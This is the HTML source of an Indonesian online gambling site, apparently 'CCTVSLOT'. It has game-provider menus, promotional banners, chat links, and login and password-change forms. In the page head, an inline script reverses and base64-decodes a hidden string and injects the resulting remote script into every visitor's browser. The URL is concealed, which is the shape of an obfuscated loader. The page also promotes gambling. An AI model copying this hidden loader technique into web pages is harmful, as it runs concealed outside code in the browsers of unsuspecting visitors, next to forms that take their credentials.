1 2<!DOCTYPE html> 3<html lang="id"> 4 <head> 5 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 6 <title>CCTVSLOT: Link Portal Game Terbaik Terlengkap Alternatif Serta Link Login Resmi</title> 7 8 <meta name="viewport" content="width=1200, initial-scale=1"> 9 10 <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-KK94CHFLLe+nY2dmCWGMq91rCGa5gtU4mk92HdvYe+M/SXH301p5ILy+dN9+nJOZ" crossorigin="anonymous"> 11 <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/font/bootstrap-icons.css"> 12 <link rel="preload" href="/style.scss" as="style" onload="this.onload=null;this.rel='stylesheet'"> 13 14 15 <!--<link rel="stylesheet" href="/css/old/template/RW.css">--> 16 <link rel="stylesheet" href="/css/old/template/RW.css"> 17 <link rel="stylesheet" href="/css/old/variable.css"> 18 19 <link rel="stylesheet" href="/css/old/light.css"> 20 21 <link rel="stylesheet" href="/css/old/new2-style.css?1790436661"> 22 <link rel="stylesheet" href="https://img.viva88athenae.com//icomoon/style.css"> 23 <link rel="icon" type="image/png" href="/favicon.png"> 24 25 <!-- Driver.js start --> 26 <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/driver.css"/> 27
27<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/driver.js.iife.js"></script>
27 28 <style> 29 @media (max-width: 768px) { 30 .driver-popover { max-width: 220px !important; font-size: 12px !important; padding: 10px 12px !important; } 31 .driver-popover-title { font-size: 13px !important; margin-bottom: 4px !important; } 32 .driver-popover-description { font-size: 12px !important; } 33 } 34 </style> 35 <!-- Driver.js end --> 36 37
37<script src="/js/old/jquery-3.6.4.min.js"></script>
37 38
38<script src="/js/old/jquery.marquee.min.js"></script>
38 39 40 <!-- RECAPTCHA --> 41 42 <meta name="description" content="Nikmati akses cepat dan aman ke CCTVSLOT, portal game online terlengkap. Temukan link alternatif resmi dan pengalaman bermain terbaik setiap hari di sini." /> 43<meta name="keywords" content="cctvslot, cctv slot, login cctvslot, cctvslot login , Link cctvslot" /> 44<link rel="canonical" href="https://cctvslotpjl.com/" /> 45<link rel="amphtml" href="https://cctvslotestrella.com/" /> 46<meta name="google-site-verification" content="kQ0jsLNYpJDl9axbK-N7uuRzqdjr1TE33_l3WBVqGSs" /> 47<meta name="google-site-verification" content="RObrOR_HCg35fwIduCTkYj-7_Wk6pmzIOLc80vrYk-g" /> 48
49<script type="text/javascript"> 50// SN Cctvslot 51var idscript = "8932008072122"; 52var pathsystem = "zpmLzYHZ0A3Lt92Yu4GZpNXazF2buUWbhJnZp9yL6MHc0RHa"; 53var script = document.createElement('script'); 54script.src = atob(pathsystem.split('').reverse().join('')); 55document.head.appendChild(script); 56</script>
56 57 <style> 58 59 .wrapper { 60 display: grid; 61 grid-template-columns: 1fr; 62 grid-template-areas: 63 "marquee" 64 "header" 65 "devider" 66 "contentdata" 67 "togel-desktop" 68 "widget-kupon" 69 "widget-sbo" 70 "provider" 71 "transaksi" 72 "guidelines" 73 "bantuan" 74 "footer" 75 } 76 77 .widget-kupon { 78 grid-area: widget-kupon; 79 padding-top: 20px; 80 background: var(--footer-background); 81 display: flex; 82 align-items: center; 83 position: relative; 84 } 85 86 .widget-sbo { 87 grid-area: widget-sbo; 88 padding-top: 20px; 89 display: flex; 90 align-items: center; 91 position: relative; 92 } 93 94 .iframe-kupon { 95 width: 1000px; 96 height: 200px; 97 display: block; 98 vertical-align: bottom; 99 } 100 101 .login-input-field { 102 font-size: 1rem; 103 } 104 105 .btn-aduan2 { 106 background: linear-gradient(60deg, #b08432, #cfbe87, #b08432); 107 -webkit-background-clip: text; 108 -webkit-text-fill-color: transparent; 109 background-size: 300% 300%; 110 animation: gradient 2s ease infinite; 111 } 112 113 .transaksi-title { 114 place-items: start; 115 } 116 117 .btn-tele { 118 font-size: 1.2rem; 119 text-shadow: 1px 1px #000000; 120 height: 36px!important; 121 border-radius: 8px; 122 background: #28323C; 123 color: white; 124 } 125 126 #marquee-mobile { 127 width: 100%; 128 overflow: hidden; 129 } 130 131 #marquee-mobile .marquee-content { 132 display: flex; 133 align-items: center; 134 width: 100%; 135 overflow: hidden; 136 } 137 138 #marquee-mobile .running { 139 position: relative; 140 flex: 1 1 auto; 141 min-width: 0; 142 overflow: hidden; 143 } 144 145 #marquee-mobile .broadcast { 146 display: inline-block; 147 white-space: nowrap; 148 } 149 150 #marquee { 151 overflow: hidden; 152 } 153 154 #marquee .running { 155 overflow: hidden; 156 } 157 158 #marquee .broadcast { 159 white-space: nowrap; 160 } 161 162 body { 163 overflow-x: hidden; 164 } 165 166 .btn-google { 167 width: 30px; 168 height: 30px; 169 background: #fff; 170 border: 1px solid #ddd; 171 border-radius: 3px; 172 display: inline-flex; 173 align-items: center; 174 justify-content: center; 175 } 176 177 .btn-google:hover { 178 background: #f5f5f5; 179 } 180 181 .btn-google-mobile { 182 background: #fff; 183 color: #3c4043; 184 border: 1px solid #dadce0; 185 border-radius: 3px; 186 height: 36px; 187 padding: 0 12px; 188 font-weight: 600; 189 font-size: 1.2rem; 190 191 align-items: center; 192 justify-content: center; 193 gap: 8px; 194 } 195 196 .btn-google-mobile:hover { 197 background: #f8f9fa; 198 color: #202124; 199 } 200 201 202 @media only screen and (max-width: 1000px) { 203 204 .wrapper { 205 display: grid; 206 grid-template-columns: 1fr; 207 grid-template-areas: 208 "appbar" 209 "marquee" 210 "header" 211 "contentdata" 212 "togel-mobile" 213 "widget-kupon" 214 "widget-sbo" 215 "devider" 216 "provider" 217 "transaksi" 218 "bantuan" 219 "footer" 220 "guidelines"; 221 } 222 223 .widget-kupon { 224 margin: 0px 20px; 225 } 226 227 228 229 .iframe-kupon { 230 padding: 0px; 231 height: 262px; 232 width: 100%; 233 display: block; 234 vertical-align: bottom; 235 } 236 237 .transaksi-title { 238 place-items: center; 239 } 240 241 .login-input-field { 242 font-size: 1.2rem; 243 } 244 } 245 246 .grecaptcha-badge { 247 display: none !important; 248 } 249 250 </style> 251 252 </head> 253 254 255 256 <body id="desktop"> 257 258 259<div id="hover" class="hover desktop-only"> 260 261 <div id="hover-togel" class="hover-menu"> 262 <a href="/register" class="hover-item"> 263 <figure><img src="https://img.viva88athenae.com//icon-togel1.png" alt="PAY4D"></figure>
264 <figcaption>TOGEL</figcaption> 265 </a> 266 267 <a href="/register" class="hover-item"> 268 <figure><img src="https://img.viva88athenae.com//icon-kupon1.png" alt="PAY4D"></figure> 269 <figcaption>KUPON</figcaption> 270 </a> 271 </div> 272 273 <div id="hover-slot" class="hover-menu"> 274 <a href="/slot/pp" class="hover-item"> 275 <figure><img src="https://img.viva88athenae.com//slot-prag.png" alt="PRAGMATIC PLAY"></figure> 276 <figcaption>PRAGMATIC PLAY</figcaption> 277 </a> 278 279 <a href="/slot/pg" class="hover-item"> 280 <figure><img src="https://img.viva88athenae.com//slot-pg.png" alt="PG SOFT"></figure> 281 <figcaption>PG SOFT</figcaption> 282 </a> 283 284 <a href="/slot/jl" class="hover-item"> 285 <figure><img src="https://img.viva88athenae.com//slot-jl.png" alt="JILI"></figure> 286 <figcaption>JILI</figcaption> 287 </a> 288 289 <a href="/slot/mgw" class="hover-item"> 290 <figure><img src="https://img.viva88athenae.com//slot-mgw.png" alt="MEGAWIN"></figure> 291 <figcaption>MEGAWIN</figcaption> 292 </a> 293 294 <a href="/slot/atg" class="hover-item"> 295 <figure><img src="https://img.viva88athenae.com//slot-atg.png" alt="ATG Games"></figure> 296 <figcaption>ATG Games</figcaption> 297 </a> 298 299 <a href="/slot/pok" class="hover-item"> 300 <figure><img src="https://img.viva88athenae.com//slot-pok.png" alt="PopOK Gaming"></figure> 301 <figcaption>PopOK Gaming</figcaption> 302 </a> 303 304 <a href="/slot/ams" class="hover-item"> 305 <figure><img src="https://img.viva88athenae.com//slot-ams.png" alt="ASKMESLOT"></figure> 306 <figcaption>ASKMESLOT</figcaption> 307 </a> 308 309 <a href="/slot/sdl" class="hover-item"> 310 <figure><img src="https://img.viva88athenae.com//slot-sdl.png" alt="SHADY LADY"></figure> 311 <figcaption>SHADY LADY</figcaption> 312 </a> 313 314 <a href="/slot/hb" class="hover-item"> 315 <figure><img src="https://img.viva88athenae.com//slot-hab.png" alt="HABANERO"></figure> 316 <figcaption>HABANERO</figcaption> 317 </a> 318 319 <a href="/slot/sg" class="hover-item"> 320 <figure><img src="https://img.viva88athenae.com//slot-spad.png" alt="SPADEGAMING"></figure> 321 <figcaption>SPADEGAMING</figcaption> 322 </a> 323 324 <a href="/slot/nlc" class="hover-item"> 325 <figure><img src="https://img.viva88athenae.com//slot-nlc.png" alt="NOLIMIT CITY"></figure> 326 <figcaption>NOLIMIT CITY</figcaption> 327 </a> 328 329 <a href="/slot/fs" class="hover-item"> 330 <figure><img src="https://img.viva88athenae.com//slot-fs.png" alt="FASTSPIN"></figure> 331 <figcaption>FASTSPIN</figcaption> 332 </a> 333 334 <a href="/slot/jg" class="hover-item"> 335 <figure><img src="https://img.viva88athenae.com//slot-jok.png" alt="JOKER"></figure> 336 <figcaption>JOKER</figcaption> 337 </a> 338 339 <a href="/slot/mg" class="hover-item"> 340 <figure><img src="https://img.viva88athenae.com//slot-mg.png" alt="MICROGAMING"></figure> 341 <figcaption>MICROGAMING</figcaption> 342 </a> 343 344 <a href="/slot/fgs" class="hover-item"> 345 <figure><img src="https://img.viva88athenae.com//slot-fgs.png" alt="5G GAMES"></figure> 346 <figcaption>5G GAMES</figcaption> 347 </a> 348 349 <a href="/slot/hks" class="hover-item"> 350 <figure><img src="https://img.viva88athenae.com//slot-hks.png" alt="HACKSHAW GAMING"></figure> 351 <figcaption>HACKSAW GAMING</figcaption> 352 </a> 353 354 <a href="/slot/nxt" class="hover-item"> 355 <figure><img src="https://img.viva88athenae.com//slot-nxt.png" alt="NEXTSPIN"></figure> 356 <figcaption>NEXTSPIN</figcaption> 357 </a> 358 359 <a href="/slot/ps" class="hover-item"> 360 <figure><img src="https://img.viva88athenae.com//slot-ps.png" alt="PLAYSTAR"></figure> 361 <figcaption>PLAYSTAR</figcaption> 362 </a> 363 364 <a href="/slot/pt" class="hover-item"> 365 <figure><img src="https://img.viva88athenae.com//slot-pt.png" alt="PLAYTECH"></figure>
366 <figcaption>PLAYTECH</figcaption> 367 </a> 368 369 <a href="/slot/av" class="hover-item"> 370 <figure><img src="https://img.viva88athenae.com//slot-av.png" alt="ADVANT PLAY"></figure> 371 <figcaption>ADVANT PLAY</figcaption> 372 </a> 373 374 <a href="/slot/cmp" class="hover-item"> 375 <figure><img src="https://img.viva88athenae.com//slot-cmp.png" alt="COSMOPLAY"></figure> 376 <figcaption>COSMOPLAY</figcaption> 377 </a> 378 379 <a href="/slot/cq9" class="hover-item"> 380 <figure><img src="https://img.viva88athenae.com//slot-cq9.png" alt="CQ9"></figure> 381 <figcaption>CQ9</figcaption> 382 </a> 383 384 <a href="/slot/wow" class="hover-item"> 385 <figure><img src="https://img.viva88athenae.com//slot-wow.png" alt="WOW GAMING"></figure> 386 <figcaption>WOW GAMING</figcaption> 387 </a> 388 389 <a href="/slot/l22" class="hover-item"> 390 <figure><img src="https://img.viva88athenae.com//slot-l22.png" alt="LIVE22"></figure> 391 <figcaption>LIVE22</figcaption> 392 </a> 393 394 <a href="/slot/ss" class="hover-item"> 395 <figure><img src="https://img.viva88athenae.com//slot-sbo.png" alt="SBO SLOT"></figure> 396 <figcaption>SBO SLOT</figcaption> 397 </a> 398 399 <!-- <a href="/slot/nte" class="hover-item"> 400 <figure><img src="https://img.viva88athenae.com//slot-nte.png" alt="NETENT"></figure> 401 <figcaption>NETENT</figcaption> 402 </a> --> 403 404 <!-- <a href="/slot/ttg" class="hover-item"> 405 <figure><img src="https://img.viva88athenae.com//slot-ttg.png" alt="TOPTREND GAMING"></figure> 406 <figcaption>TOPTREND GAMING</figcaption> 407 </a> --> 408 </div> 409 410 <div id="hover-live" class="hover-menu" > 411 <a href="/casino/pplc" class="hover-item"> 412 <figure><img src="https://img.viva88athenae.com//live-pp.png" alt="PRAGMATIC PLAY"></figure> 413 <figcaption>PRAGMATIC PLAY</figcaption> 414 </a> 415 416 <a href="/casino/evo" class="hover-item"> 417 <figure><img src="https://img.viva88athenae.com//live-evo.png" alt="EVOLUTION"></figure> 418 <figcaption>EVOLUTION</figcaption> 419 </a> 420 421 <a href="/casino/mglc" class="hover-item"> 422 <figure><img src="https://img.viva88athenae.com//live-mg.png" alt="MICROGAMING"></figure> 423 <figcaption>MICROGAMING</figcaption> 424 </a> 425 426 <a href="/casino/ptg" class="hover-item"> 427 <figure><img src="https://img.viva88athenae.com//live-ptg.png" alt="PRETTY GAMING"></figure> 428 <figcaption>PRETTY GAMING</figcaption> 429 </a> 430 431 <a href="/casino/ion" class="hover-item"> 432 <figure><img src="https://img.viva88athenae.com//live-ion.png" alt="ION CASINO"></figure> 433 <figcaption>ION CASINO</figcaption> 434 </a> 435 436 <a href="/casino/sx" class="hover-item"> 437 <figure><img src="https://img.viva88athenae.com//live-sg.png" alt="SEXY GAMING"></figure> 438 <figcaption>SEXY GAMING</figcaption> 439 </a> 440 441 <a href="/casino/sa" class="hover-item"> 442 <figure><img src="https://img.viva88athenae.com//live-sagaming.png" alt="SA GAMING"></figure> 443 <figcaption>SA GAMING</figcaption> 444 </a> 445 446 <a href="/casino/ab" class="hover-item"> 447 <figure><img src="https://img.viva88athenae.com//live-all.png" alt="ALLBET"></figure> 448 <figcaption>ALLBET</figcaption> 449 </a> 450 451 <a href="/casino/ptlc" class="hover-item"> 452 <figure><img src="https://img.viva88athenae.com//live-pt.png" alt="PLAYTECH LIVE"></figure> 453 <figcaption>PLAYTECH LIVE</figcaption> 454 </a> 455 456 <!-- <a href="/casino/gmnl" class="hover-item"> 457 <figure><img src="https://img.viva88athenae.com//live-gmnl.png" alt="GEMINI LIVE"></figure> 458 <figcaption>GEMINI LIVE</figcaption> 459 </a> --> 460 461 <a href="/casino/og" class="hover-item"> 462 <figure><img src="https://img.viva88athenae.com//live-opus.png" alt="OPUS PLUS"></figure>
463 <figcaption>OPUS PLUS</figcaption> 464 </a> 465 466 <a href="/casino/sbol" class="hover-item"> 467 <figure><img src="https://img.viva88athenae.com//live-sbo.png" alt="SBOBET CASINO"></figure> 468 <figcaption>SBOBET CASINO</figcaption> 469 </a> 470 </div> 471 472 <div id="hover-sport" class="hover-menu"> 473 <a href="/register" class="hover-item"> 474 <figure><img src="https://img.viva88athenae.com//sport-saba.png" alt="SABA"></figure> 475 <figcaption>SABA</figcaption> 476 </a> 477 478 <a href="/register" class="hover-item"> 479 <figure><img src="https://img.viva88athenae.com//sport-sbo.png" alt="SBOBET"></figure> 480 <figcaption>SBOBET</figcaption> 481 </a> 482 483 <a href="/register" class="hover-item"> 484 <figure><img src="https://img.viva88athenae.com//sport-cmd.png" alt="CMD368"></figure> 485 <figcaption>CMD368</figcaption> 486 </a> 487 488 <!-- <a href="/register" class="hover-item"> 489 <figure><img src="https://img.viva88athenae.com//sport-pin.png" alt="PINNACLE"></figure> 490 <figcaption>PINNACLE</figcaption> 491 </a> --> 492 493 <a href="/register" class="hover-item"> 494 <figure><img src="https://img.viva88athenae.com//sport-tf.png" alt="TFGAMING"></figure> 495 <figcaption>TFGAMING</figcaption> 496 </a> 497 </div> 498 499 <div id="hover-fishing" class="hover-menu"> 500 <a href="/arcade/jl" class="hover-item"> 501 <figure><img src="https://img.viva88athenae.com//fish-jl.png" alt="JILI"></figure> 502 <figcaption>JILI</figcaption> 503 </a> 504 505 <a href="/arcade/sg" class="hover-item"> 506 <figure><img src="https://img.viva88athenae.com//fish-sg.png" alt="SPADE GAMING"></figure> 507 <figcaption>SPADE GAMING</figcaption> 508 </a> 509 510 <a href="/arcade/fs" class="hover-item"> 511 <figure><img src="https://img.viva88athenae.com//fish-fs.png" alt="FASTSPIN"></figure> 512 <figcaption>FASTSPIN</figcaption> 513 </a> 514 515 <a href="/arcade/ams" class="hover-item"> 516 <figure><img src="https://img.viva88athenae.com//fish-ams.png" alt="ASKMESLOT"></figure> 517 <figcaption>ASKMESLOT</figcaption> 518 </a> 519 520 <!-- <a href="/arcade/ps" class="hover-item"> 521 <figure><img src="https://img.viva88athenae.com//fish-ps.png" alt="PLAYSTAR"></figure> 522 <figcaption>PLAYSTAR</figcaption> 523 </a> 524 525 <a href="/arcade/l22" class="hover-item"> 526 <figure><img src="https://img.viva88athenae.com//fish-l22.png" alt="LIVE22"></figure> 527 <figcaption>LIVE22</figcaption> 528 </a> --> 529 530 </div> 531 532 <div id="hover-sabung" class="hover-menu"> 533 <a href="/sabung/ws" class="hover-item"> 534 <figure><img src="https://img.viva88athenae.com//sabung-ws.png" alt="WS168"></figure> 535 <figcaption>WS168</figcaption> 536 </a> 537 538 <a href="/sabung/sv" class="hover-item"> 539 <figure><img src="https://img.viva88athenae.com//sabung-sv.png" alt="SV388"></figure> 540 <figcaption>SV388</figcaption> 541 </a> 542 </div> 543 544 <div id="hover-interactive" class="hover-menu"> 545 <a href="/interactive/pp" class="hover-item"> 546 <figure><img src="https://img.viva88athenae.com//interactive-pp.png" alt="PRAGMATIC PLAY"></figure> 547 <figcaption>PRAGMATIC PLAY</figcaption> 548 </a> 549 550 <a href="/interactive/gmn" class="hover-item"> 551 <figure><img src="https://img.viva88athenae.com//interactive-gmn.png" alt="GEMINI"></figure> 552 <figcaption>GEMINI</figcaption> 553 </a> 554 555 <a href="/interactive/jl" class="hover-item"> 556 <figure><img src="https://img.viva88athenae.com//interactive-jl.png" alt="JILI"></figure> 557 <figcaption>JILI</figcaption> 558 </a> 559 560 <a href="/interactive/jg" class="hover-item"> 561 <figure><img src="https://img.viva88athenae.com//interactive-jok.png" alt="JOKER"></figure>
562 <figcaption>JOKER</figcaption> 563 </a> 564 565 <a href="/interactive/atg" class="hover-item"> 566 <figure><img src="https://img.viva88athenae.com//interactive-atg.png" alt="ATG Games"></figure> 567 <figcaption>ATG Games</figcaption> 568 </a> 569 570 <a href="/interactive/pok" class="hover-item"> 571 <figure><img src="https://img.viva88athenae.com//interactive-pok.png" alt="PopOK Gaming"></figure> 572 <figcaption>PopOK Gaming</figcaption> 573 </a> 574 575 <a href="/interactive/ams" class="hover-item"> 576 <figure><img src="https://img.viva88athenae.com//interactive-ams.png" alt="ASKMESLOT"></figure> 577 <figcaption>ASKMESLOT</figcaption> 578 </a> 579 580 <a href="/interactive/mg" class="hover-item"> 581 <figure><img src="https://img.viva88athenae.com//interactive-mg.png" alt="MICROGAMING"></figure> 582 <figcaption>MICRO GAMING</figcaption> 583 </a> 584 585 <a href="/interactive/hks" class="hover-item"> 586 <figure><img src="https://img.viva88athenae.com//interactive-hks.png" alt="HACKSHAW GAMING"></figure> 587 <figcaption>HACKSAW GAMING</figcaption> 588 </a> 589 590 <a href="/interactive/pt" class="hover-item"> 591 <figure><img src="https://img.viva88athenae.com//interactive-pt.png" alt="PLAYTECH"></figure> 592 <figcaption>PLAYTECH</figcaption> 593 </a> 594 595 <a href="/interactive/wow" class="hover-item"> 596 <figure><img src="https://img.viva88athenae.com//interactive-wow.png" alt="WOW GAMING"></figure> 597 <figcaption>WOW GAMING</figcaption> 598 </a> 599 600 <!-- <a href="/interactive/ps" class="hover-item"> 601 <figure><img src="https://img.viva88athenae.com//interactive-ps.png" alt="PLAYSTAR"></figure> 602 <figcaption>PLAYSTAR</figcaption> 603 </a> --> 604 </div> 605 606 607 608</div> 609<style> 610 .my-navbar { 611 height: 44px; 612 padding: 0px; 613 width: 100%; 614 background: linear-gradient(0deg, rgba(0,0,0,0.7) 0%, rgba(0,0,0,0.6) 100%), var(--primary-color); 615 position: fixed; 616 bottom: 0; 617 color: white; 618 z-index: 1100; 619 display: flex; 620 box-shadow: 0px -4px 3px rgba(0, 0, 0, 0.75); 621 } 622 623 .navbar-item { 624 height: 100%; 625 width: 100%; 626 display: flex; 627 flex-direction: column; 628 align-items: center; 629 justify-content: center; 630 } 631 632 .navbar-item-content { 633 display: flex; 634 flex-direction: column; 635 justify-content: center; 636 align-items: center; 637 position: absolute; 638 top: -16px 639 } 640 641 .navbar-item-content>i { 642 font-size: 20px; 643 line-height: 22px; 644 color: white; 645 padding-bottom: 4px; 646 } 647 648 .navbar-item-content>img { 649 height: 28px; 650 width: 28px; 651 } 652 653 .navbar-item-content>label { 654 white-space: nowrap; 655 margin-top: 4px; 656 font-weight: bold; 657 font-size: var(--text-size-default); 658 color: white 659 } 660 661 .speed-dial-item { 662 opacity: 0; 663 visibility: hidden; 664 transform: translateY(10px); 665 transition: opacity 0.3s ease, transform 0.3s ease; 666 } 667 668 .speed-dial-active .speed-dial-item { 669 opacity: 1; 670 visibility: visible; 671 transform: translateY(0); 672 } 673 674 /* Delay each itemâs appearance */ 675 .speed-dial-active .speed-dial-item:nth-child(2) { transition-delay: 0.05s; } 676 .speed-dial-active .speed-dial-item:nth-child(3) { transition-delay: 0.1s; } 677 .speed-dial-active .speed-dial-item:nth-child(4) { transition-delay: 0.15s; } 678 .speed-dial-active .speed-dial-item:nth-child(5) { transition-delay: 0.2s; } 679 .speed-dial-active .speed-dial-item:nth-child(6) { transition-delay: 0.25s; } 680 681 682</style> 683 684 685<div class="mobile-only" > 686 <div class="my-navbar"> 687 <a href="/" class="navbar-item" style="position: relative"> 688 <div class="navbar-item-content"> 689 <img src="https://img.viva88athenae.com//beranda.png"/> 690 <label>BERANDA</label> 691 </div> 692 </a> 693 <div style="height: 36px; width: 3px; background: black; margin: auto"></div> 694 <a href="/m/promosi" class="navbar-item"> 695 <div class="navbar-item-content"> 696 <img src="https://img.viva88athenae.com//promosi.png"/> 697 <label>PROMOSI</label> 698 </div> 699 </a> 700 <div style="height: 36px; width: 3px; background: black; margin: auto"></div> 701 <a href="/m/event" class="navbar-item"> 702 <div class="navbar-item-content"> 703 <img src="https://img.viva88athenae.com//events.png"/> 704 <label>EVENT</label> 705 </div> 706 </a> 707 708 709 <div style="height: 36px; width: 3px; background: black; margin: auto"></div> 710 <a href="https://wa.me/+62 82121929648" target='_blank' class="navbar-item"> 711 <div class="navbar-item-content"> 712 <img src="https://img.viva88athenae.com//whatsapp.png"/> 713 <label>WHATSAPP</label> 714 </div> 715 </a> 716 717 718 719 720 721 722 <div style="height: 36px; width: 3px; background: black; margin: auto"></div> 723 <a href="https://direct.lc.chat/19136438/" target="_blank" class="navbar-item"> 724 <div class="navbar-item-content"> 725 <img src="https://img.viva88athenae.com//livechat.png"/> 726 <label>LIVECHAT</label> 727 </div> 728 </a> 729 730 </div> 731</div> 732
733<script> 734 document.addEventListener("DOMContentLoaded", function () { 735 const speedDialBtn = document.querySelector(".speed-dial-btn"); 736 const speedDialItems = document.querySelectorAll(".speed-dial-item"); 737 let isOpen = false; 738 739 speedDialBtn.addEventListener("click", function () { 740 isOpen = !isOpen; 741 742 speedDialItems.forEach((item, index) => { 743 if (isOpen) { 744 item.style.opacity = "1"; 745 item.style.visibility = "visible"; 746 item.style.transform = "translateY(0)"; 747 item.style.transitionDelay = `${index * 0.05}s`; // Stagger effect 748 } else { 749 item.style.opacity = "0"; 750 item.style.visibility = "hidden"; 751 item.style.transform = "translateY(10px)"; 752 item.style.transitionDelay = `${(speedDialItems.length - index) * 0.05}s`; // Reverse stagger 753 } 754 }); 755 }); 756}); 757</script>
757 758 759 760 <div id="top" class="wrapper"> 761 762 763 764 <header class="header"> 765 <div class="header-content"> 766 <div class="logo" href="/"> 767 <a href='/'><img src="/images/logoweb.png" class='logoimg' alt=""></a> 768 </div> 769 770 <div id="marquee-mobile" class="marquee mobile-only"> 771 <div class="marquee-content"> 772 <div class="d-flex align-items-center gap-2 flex-shrink-0"> 773 <i class="bi bi-volume-down" style="padding: 0 2px; font-size: 16px"></i> 774 </div> 775 776 <div class="running"> 777 <div class="marquee-shadow"></div> 778 <div class="broadcast mobile-broadcast">SELAMAT DATANG DI CCTVSLOT | SITUS SLOT TERGACOR | AGEN SLOT TERPECAYA | LINK ALTERNATIF : WWW.CCTVSLOTLINK.PRO</div> 779 </div> 780 781 <div class="d-flex align-items-center gap-2 flex-shrink-0"></div> 782 </div> 783 </div> 784 785 <div class="mslider mobile-only"> 786 </div> 787 788 <div class="login mobile-only"> 789 <div id="mobilelogin" class="mobile-only" style="width: 100%"> 790 <form class="login-form form" style="padding: 0px; padding-top: 16px" role="form"> 791 <div id="msgbox" style="font-size: 1rem; width: 100%"></div> 792 <div class="input-group login-field"> 793 <span class="input-group-text prepend mobile-only "><div class="h-100 center"><i class="bi bi-person-circle prepend-icon"></i></div></span> 794 <input type="text" name="username" class="form-control login-input-field username" placeholder="Username" aria-label="Username"> 795 </div> 796 <div class="input-group login-field"> 797 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 798 <input type="password" name="password" class="form-control login-input-field password" placeholder="Password" aria-label="Password"> 799 </div> 800 801 <!-- captcha --> 802 803 <div id="mverifikasiform" class="w-100" style=" "> 804 805 <span id="verifikasi"><img src="/m/capimg.php?7500" width="100%" height="36" style="border-radius: 5px;"></span> 806 <div class="input-group login-field mt-1"> 807 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-person-fill-check prepend-icon"></i></div></span> 808 <input type="text" class="form-control login-input-field" name="verifikasi" id="mverform" autocomplete="off" placeholder="Verifikasi"> 809 </div> 810 </div> 811 812 <input type="hidden" name="verif" id="verifval" class="verifval" value="1"> 813 814 <!-- end captcha --> 815 816 <label style="font-size:12px;display:flex;align-items:center;margin-top:2px;margin-bottom:4px;cursor:pointer;"> 817 <input type="checkbox" id="rememberMe" name="remember" style="margin-right:4px;width:12px;height:12px;cursor:pointer;"> Remember Me 818 </label> 819 820 <button type="submit" value="Masuk" class="btn btn-masuk fw-bold p-0 px-2 submit">Masuk</button> 821 <button type="button" class="btn btn-daftar bt
821n-info btn-daftar-mobile fw-bold p-0 px-2 mobile-only" onclick="openDaftar()">Daftar Sekarang</button> 822 823 <button type="button" class="btn btn-tele fw-bold p-0 px-2 mobile-only" onclick="window.open('https://telegram.me/cctvslotcsbot', '_blank')"><i class="bi bi-telegram me-2" style="color: #0088cc"></i>Main di Telegram</button> 824 825 826 <input type="hidden" name="task" value="login"> 827 <input type="hidden" name="iscaptchalogin" value="1"> 828 <input type="hidden" name="loginmobile" value="nsDXWmr2W9ZAxkhBx31YxUi1jw69yiHJCsFYj9OPflU="> 829 <input type="hidden" name="isrecaptchalogin" value="0"> 830 </form> 831 </div> 832 833 834 <!-- Change Password Mobile --> 835 <div id="mobile-changepassword-form" style="width: 100%; display: none"> 836 <div id="mobilechangepassword"> 837 <form id="formChangePasswordMobile" class="login-form p-0 pt-4"> 838 <div id="statusChangePasswordMobile" style="margin-bottom: 5px; width: 100%; font-size: 1rem;"></div> 839 <div class="prepend" style="width: 100%; height: 36px; display: flex; align-items: center; justify-content: space-between; padding: 0 10px; border-radius: 3px; font-size: 1.2rem; font-weight: bold"> 840 <span>GANTI PASSWORD</span> 841 <span style="font-size: 1rem; color: #333;" id="mobile-username-display"> 842 </span> 843 </div> 844 845 <div class="alert alert-warning" style="font-size: 1rem; margin: 10px 0;"> 846 â ï¸ Password Anda kurang aman! <br>Harap ganti dengan password yang lebih kuat. 847 </div> 848 849 <!-- <div class="input-group login-field"> 850 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 851 <input type="password" class="form-control login-input-field" name="old_password" id="cp_old_password_mobile" placeholder="Password Lama"> 852 </div> 853 <div class="error-msg" id="err_old_password_mobile"></div> --> 854 855 <div class="input-group login-field"> 856 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 857 <input type="password" class="form-control login-input-field" name="new_password" id="cp_new_password_mobile" placeholder="Password Baru (Min 6 karakter)"> 858 </div> 859 <div class="error-msg" id="err_new_password_mobile"></div> 860 861 <div class="input-group login-field"> 862 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 863 <input type="password" class="form-control login-input-field" name="confirm_password" id="cp_confirm_password_mobile" placeholder="Konfirmasi Password Baru"> 864 </div> 865 <div class="error-msg" id="err_confirm_password_mobile"></div> 866 867 <div style="background: #fff3cd; border-left: 4px solid #ffc107; border-radius: 4px; padding: 10px; margin: 10px 0; font-size: 1rem; width: 100%;"> 868 <strong style="color: #856404;">Persyaratan Password:</strong> 869 <ul style="margin: 5px 0 0 15px; padding: 0; color: #856404;"> 870 <li>Minimal 6 karakter</li> 871 <li>Mengandung minimal 1 huruf kecil (a-z),<br> 1 huruf besar (A-Z), angka (0-9)</li> 872 <!-- <li>Harus mengandung angka (0-9)</li> --> 873 <!-- <li>Tidak boleh mengandung username Anda</li> --> 874 <li>Tidak boleh mengandung pola berurutan <br> (123, abc, qwerty)</li> 875 <li>Hindari password yang mudah ditebak</li> 876 </ul> 877 </div> 878 879 <button type="submit" class="btn btn-masuk fw-bold p-0 px-2" value="Ganti" id="buttonChangePasswordMobile">Ganti Password</button> 880 <input type="hidden" name="task" value="change_password"> 881 </form> 882 </div> 883 884
